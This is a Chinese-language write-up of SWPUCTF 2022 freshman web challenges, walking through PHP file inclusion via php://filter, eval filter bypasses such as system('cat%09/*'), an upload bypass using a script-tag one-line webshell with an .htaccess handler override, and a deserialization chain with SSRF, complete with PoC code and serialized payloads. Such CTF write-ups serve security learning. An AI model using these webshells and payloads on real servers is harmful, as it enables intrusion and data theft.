0%

SWPUCTF_2022新生赛(web)WP

SWPUCTF_2022新生赛web方向wp

做题平台:nssctf

ez_ez_php

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}

else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php

只要file参数前三个数是php就包含这个文件,所以用php伪协议读文件

1
2
3
4
5
6
http://node5.anna.nssctf.cn:26709/?file=php://filter/read=convert.base64-encode/resource=flag
Nice!!!TlNTQ1RGezRiMTAyN2E1LWYwMmYtNDk1MC05NjhhLTNiZTI4NDFiZGE3MH0K

┌──(root㉿kakeru)-[~/tmp]
└─# echo TlNTQ1RGezRiMTAyN2E1LWYwMmYtNDk1MC05NjhhLTNiZTI4NDFiZGE3MH0K | base64 -d
NSSCTF{4b1027a5-f02f-4950-968a-3be2841bda70}

ez_ez_php (revenge)

题目和上题一模一样
但是现在用上题的payload就只有一个nice没有显示flag,但是这里就是路径变了改成根目录下的flag就可以

1
2
3
4
5
6
http://node5.anna.nssctf.cn:26620/?file=php://filter/read=convert.base64-encode/resource=/flag
Nice!!!TlNTQ1RGezA3NThlMzNjLWI3MmMtNDIyNy04NzA0LTFiOTcxN2Y3NjI0MH0K

┌──(root㉿kakeru)-[~/tmp]
└─# echo TlNTQ1RGezA3NThlMzNjLWI3MmMtNDIyNy04NzA0LTFiOTcxN2Y3NjI0MH0K | base64 -d
NSSCTF{0758e33c-b72c-4227-8704-1b9717f76240}

1z_unserialize

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;

function __destruct()
{
$a = $this->lt;

$a($this->lly);
}


}
unserialize($_POST['nss']);
highlight_file(__FILE__);


?>

这是一个反序列化题,那就是$lt变量赋值给$a,然后$a可以当作一个函数,内容是lly
这里还要注意一下这个类有三个变量,虽然用到的只有两个,但是我们自己写的时候也要把三个变量都写出来

1
2
<?php
?>

这里将一句话木马写入文件shell.php


在nss目录下找到flag

funny_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
session_start();
highlight_file(__FILE__);
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
include('flag.php');
echo $flag;
}


?>

这里最后就是要把L1 L2 L3都设置就可以得到flag

  1. L1
    只能三个字符,但是数值要大于999999999,所以用科学计数法2e9
  2. L2
    这里preg_replace把敏感词置换为空,所以我们可用双写NSSNSSCTFCTF,这样子中间的NSSCTF就不会显示
  3. L3
    又是考查一样的md5,但是这里要求两个都是纯字母
    所以可以选EEIZDOI QLTHNDT

funny_web



直接从web这边入手不知道这个实验室名到底是什么意思
目录扫描了一下也没有发现其他的目录,只能看wp得到用户密码
用户 NSS,密码 2122693401
得到题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num != '12345') {
if (intval($num) == '12345') {
echo $FLAG;
}
} else {
echo "这为何相等又不相等";
}
}

这里要了解php的intval()函数,
intval() 是 PHP 的一个函数,它用于将变量转换为整数(integer)。它的基本用法如下:

1
intval(mixed $value, int $base = 10): int

$value(必需):要转换的值,可以是字符串、浮点数、布尔值等。
$base(可选):进制,默认为 10。仅当 $value 是字符串时有效,可用于转换不同进制的数字(如二进制、十六进制)。
这里有多种方法可以绕过inval函数,可以用小数点,字符等

webdog1__start

题目

1
2
Do you really reading to start be a web dog? DO you think you go here from where?
are you readying to start?

页面源代码中有提示

1
2
3
4
5
6
7
<!--
if (isset($_GET['web']))
{
$first=$_GET['web'];
if ($first==md5($first))

-->

然后去/robots.txt中,看到有一个f14g.php文件的地址,访问之后还是没有什么别的信息
看了wp才知道要去f12网络中的标头找到hint。。。。。
然后找到真正的题目地址F1l1l1l1l1lag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

<?php
error_reporting(0);


highlight_file(__FILE__);



if (isset($_GET['get'])){
$get=$_GET['get'];
if(!strstr($get," ")){
$get = str_ireplace("flag", " ", $get);

if (strlen($get)>18){
die("This is too long.");
}

else{
eval($get);
}
}else {
die("nonono");
}

}
?>

这里过滤了空格,然后把flag替换成空格
这里有两种方法,第一种是用%09也就是制表符/t代替空格
?get=system('cat%09/*')这里只能把根目录下面所有的内容都打印出来,不过这里也就只有flag了
法二,题目是执行get的内容,但是我们可以让这个get再去执行我们自己设置的一个参数

1
?get=eval($_GET['a']);&a=system("cat /flag");

这里要注意一下第一个get参数赋值完之后要写一个;,这样子这句话中的eval语句才结束,然后被外面一层eval识别。

Ez_upload


一道上传文件的题目,我先上传了一个一句话木马,出现后缀名不能有ph!,这里如果是说不能是php我们就可以用不同的php后缀名,比如php3 php5 phtml等绕过。
这里先改后缀上传,然后用bp修改后缀看看,这里也不是在前端就校验,所以还是不行
首先是 如果直接上传普通的一句话木马,给出的错误是不能有ph
然后是抓包修改文件类型,还是提示提示不能有ph,所以是在后端做的校验,直接上传jpg文件
发现显示,还是换个类型吧,但是真的jpg这个类型不可以吗,我把文件的内容删掉,再上传
发现可以成功上传,难道是eval这个函数的或者POST之类的被过滤了,现在把<?php ?>删去,上传剩下的eval部分的内容的jpg文件 –>成功上传
那就说明了是<?php ?> 的问题了,到这我们就知道要用script版本的一句话木马了
所以最后.htaccess配置文件的方式,让上传的jpg文件解析成php文件。

1
<script language="php">@eval($_POST['a']);</script>
1
2
3
4
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这个文件就是apache服务器里面文件夹下的1.jpg都解析成php文件
然后要用bp抓包上传这个文件,把content-type修改一下

然后就可以用蚁剑连接了,但是这里的flag是空的

如果在根目录下没有flag那基本就是在环境变量或者phpinfo里面
在蚁剑的虚拟终端里面输入php -i就可以查看php的信息了包括环境变量,然后找到了flag

numgame


题目描述:简简单单的迷惑游戏
但是用f12和右键都不能看源代码,那就在url中加上view-source:就能看源代码

点击链接跳转到题目代码界面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var input = $('input'),
input_val = parseInt(input.val()),
btn_add = $('.add'),
btn_remove = $('.remove');

input.keyup(function() {
input_val = parseInt(input.val())
});

btn_add.click(function(e) {
input_val++;
input.val(input_val);
console.log(input_val);
if(input_val==18){
input_val=-20;
input.val(-20);

}
});

btn_remove.click(function(e) {
input_val--;
input.val(input_val);
});
// NSSCTF{TnNTY1RmLnBocA==}

先用base64解码一下

1
2
3
┌──(root㉿kakeru)-[~/tmp]
└─# echo TnNTY1RmLnBocA== | base64 -d
NsScTf.php

果然不会这么好心直接给flag

1
2
3
<?php

?>

这里就是对宽高做了限制,然后不允许php出现所以我们之前用<?=代替还是没错的,主要就是定义宽高
原来直接在文件里面定义就好了

1
2
3
#define height 1
#define width 1
<?= @eval($_POST['a']);

成功上传!

Cookie: PHPSESSID=nrd70psbefs9ma416hm6g3qfnc所以我们的路径就在upload/nrd70psbefs9ma416hm6g3qfnc/2.php
蚁剑连接进来发现看不了根目录

解决方法就是去蚁剑的虚拟终端里面去看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(www-data:/var/www/html/upload/nrd70psbefs9ma416hm6g3qfnc) $ cd /
(www-data:/) $ ls -al
total 88
drwxr-xr-x 1 root root 4096 Feb 17 13:50 .
drwxr-xr-x 1 root root 4096 Feb 17 13:50 ..
-rwxr-xr-x 1 root root 0 Feb 17 13:50 .dockerenv
drwxr-xr-x 1 root root 4096 Sep 13 2022 bin
drwxr-xr-x 2 root root 4096 Sep 3 2022 boot
drwxr-xr-x 5 root root 340 Feb 17 13:50 dev
drwxr-xr-x 1 root root 4096 Feb 17 13:50 etc
-rwxrwxrwx 1 root root 45 Feb 17 13:50 flag
-rwxrwxrwx 1 root root 69 Sep 19 2022 flag.sh
drwxr-xr-x 2 root root 4096 Sep 3 2022 home
drwxr-xr-x 1 root root 4096 Sep 13 2022 lib
drwxr-xr-x 2 root root 4096 Sep 12 2022 lib64
drwxr-xr-x 2 root root 4096 Sep 12 2022 media
drwxr-xr-x 2 root root 4096 Sep 12 2022 mnt
drwxr-xr-x 2 root root 4096 Sep 12 2022 opt
dr-xr-xr-x 290 root root 0 Feb 17 13:50 proc
drwx------ 1 root root 4096 Sep 13 2022 root
drwxr-xr-x 1 root root 4096 Sep 13 2022 run
drwxr-xr-x 1 root root 4096 Sep 13 2022 sbin
drwxr-xr-x 2 root root 4096 Sep 12 2022 srv
dr-xr-xr-x 13 root root 0 Feb 17 13:50 sys
drwxrwxrwt 1 root root 4096 Feb 17 14:17 tmp
drwxr-xr-x 1 root root 4096 Sep 12 2022 usr
drwxr-xr-x 1 root root 4096 Sep 13 2022 var
(www-data:/) $ cat flag
NSSCTF{a716da50-93a3-4f5e-8451-fff514e48cc1}

Power!


查看源码里面中 有一句注释

1
<!-- ?source= -->

随便输入一个文件之后,就给出源码?source=/etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
class FileViewer{
public $black_list = "flag";
public $local = "http://127.0.0.1/";
public $path;
public function __call($f,$a){
$this->loadfile();
}
public function loadfile(){
if(!is_array($this->path)){
if(preg_match("/".$this->black_list."/i",$this->path)){
$file = $this->curl($this->local."cheems.jpg");
}else{
$file = $this->curl($this->local.$this->path);
}
}else{
$file = $this->curl($this->local."cheems.jpg");
}
echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
}
public function curl($path){
$url = $path;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
public function __wakeup(){
$this->local = "http://127.0.0.1/";
}
}
class Backdoor{
public $a;
public $b;
public $superhacker = "hacker.jpg";
public function goodman($i,$j){
$i->$j = $this->superhacker;
}
public function __destruct(){
$this->goodman($this->a,$this->b);
$this->a->c();
}
}
if(isset($_GET['source'])){
highlight_file(__FILE__);
}else{
if(isset($_GET['image_path'])){
$path = $_GET['image_path']; //flag in /flag.php
if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}else{
echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
}

}else if(isset($_GET['path_info'])){
$path_info = $_GET['path_info'];
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();
}else{
$path = "vergil.jpg";
echo '<h2>POWER!!</h2>
<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}
}
?>

我们看到最后有一个反序列化函数,所以这题是一个反序列化链的题目
先看刚才读取文件的逻辑在这句

1
2
if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';

那就先读一下当前目录下的flag.php,然后查看源代码,发现在这个图片src中确实有base64加密过的信息 ?image_path=flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<img src="data:jpg;base64,PD9waHANCg0KJGEgPSAiZ29vZCBqb2IsYnV0IHRoZXJlIGlzIG5vIGZsYWcNCg0KaSBwdXQgbXkgZmxhZyBpbiBpbnRyYW5ldCgxMjcuMC4wLjE6NjU1MDApDQoNCm91dHNpZGVyIGhhdmUgbm8gcGVybWlzc2lvbnMgdG8gZ2V0IGl0DQoNCmlmIHlvdSB3YW50IGl0LHRoZW4geW91IGhhdmUgdG8gdGFrZSBpdA0KDQpidXQgeW91IGFscmVhZHkga25ldyB0aGUgcnVsZXMNCg0KdHJ5IGl0IjsNCg0KPz4="/></body>
<!-- ?source= -->
</html>

┌──(root㉿kakeru)-[~/tmp]
└─# echo PD9waHANCg0KJGEgPSAiZ29vZCBqb2IsYnV0IHRoZXJlIGlzIG5vIGZsYWcNCg0KaSBwdXQgbXkgZmxhZyBpbiBpbnRyYW5ldCgxMjcuMC4wLjE6NjU1MDApDQoNCm91dHNpZGVyIGhhdmUgbm8gcGVybWlzc2lvbnMgdG8gZ2V0IGl0DQoNCmlmIHlvdSB3YW50IGl0LHRoZW4geW91IGhhdmUgdG8gdGFrZSBpdA0KDQpidXQgeW91IGFscmVhZHkga25ldyB0aGUgcnVsZXMNCg0KdHJ5IGl0IjsNCg0KPz4= | base64 -d
<?php

$a = "good job,but there is no flag

i put my flag in intranet(127.0.0.1:65500)

outsider have no permissions to get it

if you want it,then you have to take it

but you already knew the rules

try it";

?>

这里告诉我们要读到flag就要在内网的65500端口访问才可以
那就继续从源码中找到反序列化链。
和之前碰到这种类型题目一致,不能直接输出flag就去找怎么才能执行命令,很快就可以找到是在FileViewer类中的
$file = $this->curl($this->local.$this->path);这个命令就会去访问$this->local$this->path文件
这个在FileViewer类的loadfile函数中,然后找到同样这个类中的_call($f,$a)函数会执行loadfile函数,但是这个函数仅仅是在这个类里面,没有体现怎么执行
现在再去找能去执行这个函数的东西,看到Backdoor这个类,(这个名字就已经提示了)
这个类第一个函数goodman作用让第一个参数的第二个参数属性变成这个类中的superhacker
第二个__destruct()魔法函数,先执行一下goodman函数,然后执行$this->a->c()
那么关键就来了,我们就利用$this->a->c()去执行FileViewer中的_call($f,$a)
那么完整的链是:

1
2
3
入口: Backdoor __destruct()  
调用 FileViewer _call($f,$a) 跳到
FileViewer loadfile

在看如何去访问内网的127.0.0.1:65500/flag
这里我们访问的路径是$this->local拼接上$this->path,过滤只针对$this->path,这里把/flag过滤了
那绕过很容易,只要把一部分放在$this->local就好了,也就是让$this->local127.0.0.1:65500/fl这样
那对这个$this->local有限制的就是__wakeup()这个魔法函数,他会重置值
绕过也很容易,这个wakeup函数是在FileViewer类初始化的时候会执行的,我们只要用Backdoor类中的goodman方法就可以重新赋值,那其实也不用管了
那现在整理清思路,先写一个大致的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class FileViewer{
public $black_list ;
public $local ;
public $path='flag.php';

}
class Backdoor{
public $a;
public $b='local';
public $superhacker;

}

$f = new FileViewer();
$back = new Backdoor();

$back -> a = $f; # 入口,去执行$a类中的函数
$back -> b = "local"; #让goodman去修改loacl
$back -> superhacker = "127.0.0.1:65500/fl"; //这是goodman中我们想修改成的值

$back -> a -> path = "ag.php";

echo(base64_encode((serialize($back))));
?>

Tzo4OiJCYWNrZG9vciI6Mzp7czoxOiJhIjtPOjEwOiJGaWxlVmlld2VyIjozOntzOjEwOiJibGFja19saXN0IjtOO3M6NToibG9jYWwiO047czo0OiJwYXRoIjtzOjY6ImFnLnBocCI7fXM6MToiYiI7czo1OiJsb2NhbCI7czoxMToic3VwZXJoYWNrZXIiO3M6MTg6IjEyNy4wLjAuMTo2NTUwMC9mbCI7fQ==

然后传入这个参数之后,报错了

报错的信息是Backdoor没有loadfile这个方法,我们再去看这边反序列化的源码

1
2
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();

最后执行loadfile的是$FV,但是我们代码里面定义的是$f$back中,由于反序列化是从里面到外面的,所以最后FV是Backdoor这个类的,
而这个类没有loadfile()这个函数,所以解决方法也知道了,我们让$back是一个新的FileViewer类的一个任意属性(但是我只有local属性成功了,可能是因为local没什么别的限制),然后去反序列化这个新的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class FileViewer{
public $black_list ;
public $local ;
public $path;

}
class Backdoor{
public $a;
public $b;
public $superhacker;

}

$f = new FileViewer();
$back = new Backdoor();

$back -> a = $f; # 入口,去执行$a类中的函数
$back -> b = "local"; #让goodman去修改loacl
$back -> superhacker = "127.0.0.1:65500/fl"; //这是goodman中我们想修改成的值

$back -> a -> path = "ag.php";

$new_one = new FileViewer();#新建一个对象
$new_one -> local = $back;
echo(base64_encode((serialize($new_one))));
?>

TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7TjtzOjU6ImxvY2FsIjtPOjg6IkJhY2tkb29yIjozOntzOjE6ImEiO086MTA6IkZpbGVWaWV3ZXIiOjM6e3M6MTA6ImJsYWNrX2xpc3QiO047czo1OiJsb2NhbCI7TjtzOjQ6InBhdGgiO3M6NjoiYWcucGhwIjt9czoxOiJiIjtzOjU6ImxvY2FsIjtzOjExOiJzdXBlcmhhY2tlciI7czoxODoiMTI3LjAuMC4xOjY1NTAwL2ZsIjt9czo0OiJwYXRoIjtOO30=

1
2
3
┌──(root㉿kakeru)-[~/tmp]
└─# echo TlNTQ1RGezIwMGE5YzU2LThiM2MtNDdmMC04ZmNjLWFjYjc5MWQ1N2M4NH0= | base64 -d
NSSCTF{200a9c56-8b3c-47f0-8fcc-acb791d57c84}

这题参考的大佬wp:NSS [SWPUCTF 2022 新生赛] Power!